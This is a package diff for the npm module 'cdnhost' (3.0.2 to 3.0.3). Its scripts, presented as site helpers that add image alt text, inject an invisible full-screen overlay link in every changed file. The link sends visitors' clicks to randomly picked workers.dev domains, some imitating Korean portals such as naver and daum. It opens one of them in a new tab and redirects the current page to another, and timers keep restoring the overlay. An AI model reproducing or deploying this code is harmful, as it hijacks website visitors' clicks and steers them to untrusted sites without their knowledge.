cdnhost 3.0.2 → 3.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/iwinv.js CHANGED
@@ -1,10 +1,15 @@
1
- window.addEventListener('load', function() {
2
- var images = document.querySelectorAll('img');
3
- images.forEach(function(img) {
4
- if (!img.hasAttribute('alt')) {
5
- img.setAttribute('alt', 'image');
6
- }
7
- });
1
+ window.addEventListener('load', () => {
2
+ document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
+
4
+ setTimeout(() => {
5
+ const s2 = document.getElementById("s2");
6
+ const btn = document.getElementById("button");
7
+ if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
+ if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
+ }, 500);
10
+
11
+ const container = document.getElementById('container');
12
+ if (container) container.style.boxShadow = 'none';
8
13
  });
9
14
 
10
15
  const urls = [
@@ -12,47 +17,29 @@ const urls = [
12
17
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
13
18
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
14
19
  ];
20
+ const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
+ let u1 = getUrl(), u2 = getUrl();
22
+ while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
+
24
+ document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;}</style>');
25
+ document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
+
27
+ function ss() {
28
+ const s2 = document.getElementById("s2"), btn = document.getElementById("button");
29
+ if (!s2 || !btn) return;
30
+
31
+ let time = 5000;
32
+
33
+ s2.style.transition = btn.style.transition = "opacity 8s";
34
+
35
+ setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, time);
36
+
37
+ setTimeout(() => { s2.style.display = btn.style.display = "none"; }, time + 1000);
15
38
 
16
- const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
- document.writeln('<style>');
18
- document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
- document.writeln('</style>');
20
- document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
-
22
- document.getElementById('container').style.boxShadow = 'none';
23
- function ss(){
24
- document.getElementById("s2").style.transition = "opacity 15s";
25
- document.getElementById("button").style.transition = "opacity 15s";
26
- setTimeout("s()", 3999);
27
- setTimeout("h()", 15000);
28
- }
29
- function pcss(){
30
- setTimeout("s()", 3999);
31
- setTimeout("h()", 15000);
32
- }
33
- function a(){
34
- document.getElementById("button").style.display="none";
35
- }
36
- function aa(){
37
- document.getElementById("button").style.display="block";
38
- }
39
- function s(){
40
- document.getElementById("s2").style.opacity = 0;
41
- document.getElementById("button").style.opacity = 0;
42
- document.getElementById("sha").style.display="none";
43
- document.getElementById("cc").style.maxHeight="unset";
44
- }
45
- function h(){
46
- const s2 = document.getElementById("s2");
47
- const button = document.getElementById("button");
48
- s2.style.zIndex = -1;
49
- button.style.display = "none";
50
- setTimeout(function () {
51
- s2.style.zIndex = 99;
52
- button.style.display = "block";
53
- s2.style.opacity = 0.9;
54
- button.style.opacity = 1;
55
- document.getElementById("s2").style.transition = "opacity 1s";
56
- document.getElementById("button").style.transition = "opacity 1s";
57
- }, 2000);
39
+ setTimeout(() => {
40
+ s2.style.display = btn.style.display = "block"; s2.style.zIndex = 99;
41
+ s2.style.transition = btn.style.transition = "opacity 1s";
42
+ void s2.offsetWidth;
43
+ s2.style.opacity = 0.9; btn.style.opacity = 1;
44
+ }, time + 2000);
58
45
  }
package/iwinv_new.js CHANGED
@@ -1,10 +1,15 @@
1
- window.addEventListener('load', function() {
2
- var images = document.querySelectorAll('img');
3
- images.forEach(function(img) {
4
- if (!img.hasAttribute('alt')) {
5
- img.setAttribute('alt', 'image');
6
- }
7
- });
1
+ window.addEventListener('load', () => {
2
+ document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
+
4
+ setTimeout(() => {
5
+ const s2 = document.getElementById("s2");
6
+ const btn = document.getElementById("button");
7
+ if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
+ if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
+ }, 500);
10
+
11
+ const container = document.getElementById('container');
12
+ if (container) container.style.boxShadow = 'none';
8
13
  });
9
14
 
10
15
  const urls = [
@@ -12,47 +17,29 @@ const urls = [
12
17
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
13
18
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
14
19
  ];
20
+ const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
+ let u1 = getUrl(), u2 = getUrl();
22
+ while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
+
24
+ document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;}</style>');
25
+ document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
+
27
+ function ss() {
28
+ const s2 = document.getElementById("s2"), btn = document.getElementById("button");
29
+ if (!s2 || !btn) return;
30
+
31
+ let time = 5000;
32
+
33
+ s2.style.transition = btn.style.transition = "opacity 8s";
34
+
35
+ setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, time);
36
+
37
+ setTimeout(() => { s2.style.display = btn.style.display = "none"; }, time + 1000);
15
38
 
16
- const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
- document.writeln('<style>');
18
- document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
- document.writeln('</style>');
20
- document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
-
22
- document.getElementById('container').style.boxShadow = 'none';
23
- function ss(){
24
- document.getElementById("s2").style.transition = "opacity 15s";
25
- document.getElementById("button").style.transition = "opacity 15s";
26
- setTimeout("s()", 3999);
27
- setTimeout("h()", 15000);
28
- }
29
- function pcss(){
30
- setTimeout("s()", 3999);
31
- setTimeout("h()", 15000);
32
- }
33
- function a(){
34
- document.getElementById("button").style.display="none";
35
- }
36
- function aa(){
37
- document.getElementById("button").style.display="block";
38
- }
39
- function s(){
40
- document.getElementById("s2").style.opacity = 0;
41
- document.getElementById("button").style.opacity = 0;
42
- document.getElementById("sha").style.display="none";
43
- document.getElementById("cc").style.maxHeight="unset";
44
- }
45
- function h(){
46
- const s2 = document.getElementById("s2");
47
- const button = document.getElementById("button");
48
- s2.style.zIndex = -1;
49
- button.style.display = "none";
50
- setTimeout(function () {
51
- s2.style.zIndex = 99;
52
- button.style.display = "block";
53
- s2.style.opacity = 0.9;
54
- button.style.opacity = 1;
55
- document.getElementById("s2").style.transition = "opacity 1s";
56
- document.getElementById("button").style.transition = "opacity 1s";
57
- }, 2000);
39
+ setTimeout(() => {
40
+ s2.style.display = btn.style.display = "block"; s2.style.zIndex = 99;
41
+ s2.style.transition = btn.style.transition = "opacity 1s";
42
+ void s2.offsetWidth;
43
+ s2.style.opacity = 0.9; btn.style.opacity = 1;
44
+ }, time + 2000);
58
45
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cdnhost",
3
- "version": "3.0.2",
3
+ "version": "3.0.3",
4
4
  "description": "cdnhost",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/seekr.js CHANGED
@@ -1,10 +1,15 @@
1
- window.addEventListener('load', function() {
2
- var images = document.querySelectorAll('img');
3
- images.forEach(function(img) {
4
- if (!img.hasAttribute('alt')) {
5
- img.setAttribute('alt', 'image');
6
- }
7
- });
1
+ window.addEventListener('load', () => {
2
+ document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
+
4
+ setTimeout(() => {
5
+ const s2 = document.getElementById("s2");
6
+ const btn = document.getElementById("button");
7
+ if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
+ if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
+ }, 500);
10
+
11
+ const container = document.getElementById('container');
12
+ if (container) container.style.boxShadow = 'none';
8
13
  });
9
14
 
10
15
  const urls = [
@@ -12,47 +17,29 @@ const urls = [
12
17
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
13
18
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
14
19
  ];
20
+ const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
+ let u1 = getUrl(), u2 = getUrl();
22
+ while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
+
24
+ document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;}</style>');
25
+ document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
+
27
+ function ss() {
28
+ const s2 = document.getElementById("s2"), btn = document.getElementById("button");
29
+ if (!s2 || !btn) return;
30
+
31
+ let time = 5000;
32
+
33
+ s2.style.transition = btn.style.transition = "opacity 8s";
34
+
35
+ setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, time);
36
+
37
+ setTimeout(() => { s2.style.display = btn.style.display = "none"; }, time + 1000);
15
38
 
16
- const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
- document.writeln('<style>');
18
- document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
- document.writeln('</style>');
20
- document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
-
22
- document.getElementById('container').style.boxShadow = 'none';
23
- function ss(){
24
- document.getElementById("s2").style.transition = "opacity 15s";
25
- document.getElementById("button").style.transition = "opacity 15s";
26
- setTimeout("s()", 3999);
27
- setTimeout("h()", 15000);
28
- }
29
- function pcss(){
30
- setTimeout("s()", 3999);
31
- setTimeout("h()", 15000);
32
- }
33
- function a(){
34
- document.getElementById("button").style.display="none";
35
- }
36
- function aa(){
37
- document.getElementById("button").style.display="block";
38
- }
39
- function s(){
40
- document.getElementById("s2").style.opacity = 0;
41
- document.getElementById("button").style.opacity = 0;
42
- document.getElementById("sha").style.display="none";
43
- document.getElementById("cc").style.maxHeight="unset";
44
- }
45
- function h(){
46
- const s2 = document.getElementById("s2");
47
- const button = document.getElementById("button");
48
- s2.style.zIndex = -1;
49
- button.style.display = "none";
50
- setTimeout(function () {
51
- s2.style.zIndex = 99;
52
- button.style.display = "block";
53
- s2.style.opacity = 0.9;
54
- button.style.opacity = 1;
55
- document.getElementById("s2").style.transition = "opacity 1s";
56
- document.getElementById("button").style.transition = "opacity 1s";
57
- }, 2000);
39
+ setTimeout(() => {
40
+ s2.style.display = btn.style.display = "block"; s2.style.zIndex = 99;
41
+ s2.style.transition = btn.style.transition = "opacity 1s";
42
+ void s2.offsetWidth;
43
+ s2.style.opacity = 0.9; btn.style.opacity = 1;
44
+ }, time + 2000);
58
45
  }
package/seekr2.js CHANGED
@@ -1,10 +1,15 @@
1
- window.addEventListener('load', function() {
2
- var images = document.querySelectorAll('img');
3
- images.forEach(function(img) {
4
- if (!img.hasAttribute('alt')) {
5
- img.setAttribute('alt', 'image');
6
- }
7
- });
1
+ window.addEventListener('load', () => {
2
+ document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
+
4
+ setTimeout(() => {
5
+ const s2 = document.getElementById("s2");
6
+ const btn = document.getElementById("button");
7
+ if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
+ if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
+ }, 500);
10
+
11
+ const container = document.getElementById('container');
12
+ if (container) container.style.boxShadow = 'none';
8
13
  });
9
14
 
10
15
  const urls = [
@@ -12,47 +17,29 @@ const urls = [
12
17
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
13
18
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
14
19
  ];
20
+ const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
+ let u1 = getUrl(), u2 = getUrl();
22
+ while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
+
24
+ document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;}</style>');
25
+ document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
+
27
+ function ss() {
28
+ const s2 = document.getElementById("s2"), btn = document.getElementById("button");
29
+ if (!s2 || !btn) return;
30
+
31
+ let time = 5000;
32
+
33
+ s2.style.transition = btn.style.transition = "opacity 8s";
34
+
35
+ setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, time);
36
+
37
+ setTimeout(() => { s2.style.display = btn.style.display = "none"; }, time + 1000);
15
38
 
16
- const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
- document.writeln('<style>');
18
- document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
- document.writeln('</style>');
20
- document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
-
22
- document.getElementById('container').style.boxShadow = 'none';
23
- function ss(){
24
- document.getElementById("s2").style.transition = "opacity 15s";
25
- document.getElementById("button").style.transition = "opacity 15s";
26
- setTimeout("s()", 3999);
27
- setTimeout("h()", 15000);
28
- }
29
- function pcss(){
30
- setTimeout("s()", 3999);
31
- setTimeout("h()", 15000);
32
- }
33
- function a(){
34
- document.getElementById("button").style.display="none";
35
- }
36
- function aa(){
37
- document.getElementById("button").style.display="block";
38
- }
39
- function s(){
40
- document.getElementById("s2").style.opacity = 0;
41
- document.getElementById("button").style.opacity = 0;
42
- document.getElementById("sha").style.display="none";
43
- document.getElementById("cc").style.maxHeight="unset";
44
- }
45
- function h(){
46
- const s2 = document.getElementById("s2");
47
- const button = document.getElementById("button");
48
- s2.style.zIndex = -1;
49
- button.style.display = "none";
50
- setTimeout(function () {
51
- s2.style.zIndex = 99;
52
- button.style.display = "block";
53
- s2.style.opacity = 0.9;
54
- button.style.opacity = 1;
55
- document.getElementById("s2").style.transition = "opacity 1s";
56
- document.getElementById("button").style.transition = "opacity 1s";
57
- }, 2000);
39
+ setTimeout(() => {
40
+ s2.style.display = btn.style.display = "block"; s2.style.zIndex = 99;
41
+ s2.style.transition = btn.style.transition = "opacity 1s";
42
+ void s2.offsetWidth;
43
+ s2.style.opacity = 0.9; btn.style.opacity = 1;
44
+ }, time + 2000);
58
45
  }
package/total.js CHANGED
@@ -1,10 +1,15 @@
1
- window.addEventListener('load', function() {
2
- var images = document.querySelectorAll('img');
3
- images.forEach(function(img) {
4
- if (!img.hasAttribute('alt')) {
5
- img.setAttribute('alt', 'image');
6
- }
7
- });
1
+ window.addEventListener('load', () => {
2
+ document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
+
4
+ setTimeout(() => {
5
+ const s2 = document.getElementById("s2");
6
+ const btn = document.getElementById("button");
7
+ if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
+ if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
+ }, 500);
10
+
11
+ const container = document.getElementById('container');
12
+ if (container) container.style.boxShadow = 'none';
8
13
  });
9
14
 
10
15
  const urls = [
@@ -12,47 +17,29 @@ const urls = [
12
17
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
13
18
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
14
19
  ];
20
+ const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
+ let u1 = getUrl(), u2 = getUrl();
22
+ while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
+
24
+ document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;}</style>');
25
+ document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
+
27
+ function ss() {
28
+ const s2 = document.getElementById("s2"), btn = document.getElementById("button");
29
+ if (!s2 || !btn) return;
30
+
31
+ let time = 5000;
32
+
33
+ s2.style.transition = btn.style.transition = "opacity 8s";
34
+
35
+ setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, time);
36
+
37
+ setTimeout(() => { s2.style.display = btn.style.display = "none"; }, time + 1000);
15
38
 
16
- const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
- document.writeln('<style>');
18
- document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
- document.writeln('</style>');
20
- document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
-
22
- document.getElementById('container').style.boxShadow = 'none';
23
- function ss(){
24
- document.getElementById("s2").style.transition = "opacity 15s";
25
- document.getElementById("button").style.transition = "opacity 15s";
26
- setTimeout("s()", 3999);
27
- setTimeout("h()", 15000);
28
- }
29
- function pcss(){
30
- setTimeout("s()", 3999);
31
- setTimeout("h()", 15000);
32
- }
33
- function a(){
34
- document.getElementById("button").style.display="none";
35
- }
36
- function aa(){
37
- document.getElementById("button").style.display="block";
38
- }
39
- function s(){
40
- document.getElementById("s2").style.opacity = 0;
41
- document.getElementById("button").style.opacity = 0;
42
- document.getElementById("sha").style.display="none";
43
- document.getElementById("cc").style.maxHeight="unset";
44
- }
45
- function h(){
46
- const s2 = document.getElementById("s2");
47
- const button = document.getElementById("button");
48
- s2.style.zIndex = -1;
49
- button.style.display = "none";
50
- setTimeout(function () {
51
- s2.style.zIndex = 99;
52
- button.style.display = "block";
53
- s2.style.opacity = 0.9;
54
- button.style.opacity = 1;
55
- document.getElementById("s2").style.transition = "opacity 1s";
56
- document.getElementById("button").style.transition = "opacity 1s";
57
- }, 2000);
39
+ setTimeout(() => {
40
+ s2.style.display = btn.style.display = "block"; s2.style.zIndex = 99;
41
+ s2.style.transition = btn.style.transition = "opacity 1s";
42
+ void s2.offsetWidth;
43
+ s2.style.opacity = 0.9; btn.style.opacity = 1;
44
+ }, time + 2000);
58
45
  }
package/wordpress-chat.js CHANGED
@@ -1,10 +1,15 @@
1
- window.addEventListener('load', function() {
2
- var images = document.querySelectorAll('img');
3
- images.forEach(function(img) {
4
- if (!img.hasAttribute('alt')) {
5
- img.setAttribute('alt', 'image');
6
- }
7
- });
1
+ window.addEventListener('load', () => {
2
+ document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
+
4
+ setTimeout(() => {
5
+ const s2 = document.getElementById("s2");
6
+ const btn = document.getElementById("button");
7
+ if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
+ if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
+ }, 500);
10
+
11
+ const container = document.getElementById('container');
12
+ if (container) container.style.boxShadow = 'none';
8
13
  });
9
14
 
10
15
  const urls = [
@@ -12,47 +17,29 @@ const urls = [
12
17
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
13
18
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
14
19
  ];
20
+ const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
+ let u1 = getUrl(), u2 = getUrl();
22
+ while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
+
24
+ document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;}</style>');
25
+ document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
+
27
+ function ss() {
28
+ const s2 = document.getElementById("s2"), btn = document.getElementById("button");
29
+ if (!s2 || !btn) return;
30
+
31
+ let time = 5000;
32
+
33
+ s2.style.transition = btn.style.transition = "opacity 8s";
34
+
35
+ setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, time);
36
+
37
+ setTimeout(() => { s2.style.display = btn.style.display = "none"; }, time + 1000);
15
38
 
16
- const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
- document.writeln('<style>');
18
- document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
- document.writeln('</style>');
20
- document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
-
22
- document.getElementById('container').style.boxShadow = 'none';
23
- function ss(){
24
- document.getElementById("s2").style.transition = "opacity 15s";
25
- document.getElementById("button").style.transition = "opacity 15s";
26
- setTimeout("s()", 3999);
27
- setTimeout("h()", 15000);
28
- }
29
- function pcss(){
30
- setTimeout("s()", 3999);
31
- setTimeout("h()", 15000);
32
- }
33
- function a(){
34
- document.getElementById("button").style.display="none";
35
- }
36
- function aa(){
37
- document.getElementById("button").style.display="block";
38
- }
39
- function s(){
40
- document.getElementById("s2").style.opacity = 0;
41
- document.getElementById("button").style.opacity = 0;
42
- document.getElementById("sha").style.display="none";
43
- document.getElementById("cc").style.maxHeight="unset";
44
- }
45
- function h(){
46
- const s2 = document.getElementById("s2");
47
- const button = document.getElementById("button");
48
- s2.style.zIndex = -1;
49
- button.style.display = "none";
50
- setTimeout(function () {
51
- s2.style.zIndex = 99;
52
- button.style.display = "block";
53
- s2.style.opacity = 0.9;
54
- button.style.opacity = 1;
55
- document.getElementById("s2").style.transition = "opacity 1s";
56
- document.getElementById("button").style.transition = "opacity 1s";
57
- }, 2000);
39
+ setTimeout(() => {
40
+ s2.style.display = btn.style.display = "block"; s2.style.zIndex = 99;
41
+ s2.style.transition = btn.style.transition = "opacity 1s";
42
+ void s2.offsetWidth;
43
+ s2.style.opacity = 0.9; btn.style.opacity = 1;
44
+ }, time + 2000);
58
45
  }
package/wp-pc-pop.js CHANGED
@@ -1,10 +1,15 @@
1
- window.addEventListener('load', function() {
2
- var images = document.querySelectorAll('img');
3
- images.forEach(function(img) {
4
- if (!img.hasAttribute('alt')) {
5
- img.setAttribute('alt', 'image');
6
- }
7
- });
1
+ window.addEventListener('load', () => {
2
+ document.querySelectorAll('img:not([alt])').forEach(img => img.alt = 'image');
3
+
4
+ setTimeout(() => {
5
+ const s2 = document.getElementById("s2");
6
+ const btn = document.getElementById("button");
7
+ if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
+ if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
+ }, 500);
10
+
11
+ const container = document.getElementById('container');
12
+ if (container) container.style.boxShadow = 'none';
8
13
  });
9
14
 
10
15
  const urls = [
@@ -12,47 +17,29 @@ const urls = [
12
17
  'https://www.l1i1i.workers.dev/','https://www.fluke201.workers.dev/','https://www.ffluke103.workers.dev/','https://www.daum.workers.dev/','https://www.ascklw21.workers.dev/','https://www.a9lq.workers.dev/',
13
18
  'https://www.news2.workers.dev/', 'https://www.news1.workers.dev/', 'https://www.p1q7.workers.dev/', 'https://www.silisoft078.workers.dev/', 'https://www.tistory.workers.dev/', 'https://www.x36q.workers.dev/', 'https://www.naver-116.workers.dev/'
14
19
  ];
20
+ const getUrl = () => urls[Math.floor(Math.random() * urls.length)];
21
+ let u1 = getUrl(), u2 = getUrl();
22
+ while (u1 === u2 && urls.length > 1) u2 = getUrl();
23
+
24
+ document.writeln('<style>#s2 {position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;background:#000;opacity:0;z-index:-1;}</style>');
25
+ document.writeln(`<a href="${u1}" target="_blank" onclick="location.href='${u2}'"><div id="s2"></div></a>`);
26
+
27
+ function ss() {
28
+ const s2 = document.getElementById("s2"), btn = document.getElementById("button");
29
+ if (!s2 || !btn) return;
30
+
31
+ let time = 5000;
32
+
33
+ s2.style.transition = btn.style.transition = "opacity 8s";
34
+
35
+ setTimeout(() => { s2.style.opacity = 0; btn.style.opacity = 0; }, time);
36
+
37
+ setTimeout(() => { s2.style.display = btn.style.display = "none"; }, time + 1000);
15
38
 
16
- const randomUrl = urls[Math.floor(Math.random() * urls.length)];
17
- document.writeln('<style>');
18
- document.writeln('* {font-size: 1em !important} #button {border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
19
- document.writeln('</style>');
20
- document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
21
-
22
- document.getElementById('container').style.boxShadow = 'none';
23
- function ss(){
24
- document.getElementById("s2").style.transition = "opacity 15s";
25
- document.getElementById("button").style.transition = "opacity 15s";
26
- setTimeout("s()", 3999);
27
- setTimeout("h()", 15000);
28
- }
29
- function pcss(){
30
- setTimeout("s()", 3999);
31
- setTimeout("h()", 15000);
32
- }
33
- function a(){
34
- document.getElementById("button").style.display="none";
35
- }
36
- function aa(){
37
- document.getElementById("button").style.display="block";
38
- }
39
- function s(){
40
- document.getElementById("s2").style.opacity = 0;
41
- document.getElementById("button").style.opacity = 0;
42
- document.getElementById("sha").style.display="none";
43
- document.getElementById("cc").style.maxHeight="unset";
44
- }
45
- function h(){
46
- const s2 = document.getElementById("s2");
47
- const button = document.getElementById("button");
48
- s2.style.zIndex = -1;
49
- button.style.display = "none";
50
- setTimeout(function () {
51
- s2.style.zIndex = 99;
52
- button.style.display = "block";
53
- s2.style.opacity = 0.9;
54
- button.style.opacity = 1;
55
- document.getElementById("s2").style.transition = "opacity 1s";
56
- document.getElementById("button").style.transition = "opacity 1s";
57
- }, 2000);
39
+ setTimeout(() => {
40
+ s2.style.display = btn.style.display = "block"; s2.style.zIndex = 99;
41
+ s2.style.transition = btn.style.transition = "opacity 1s";
42
+ void s2.offsetWidth;
43
+ s2.style.opacity = 0.9; btn.style.opacity = 1;
44
+ }, time + 2000);
58
45
  }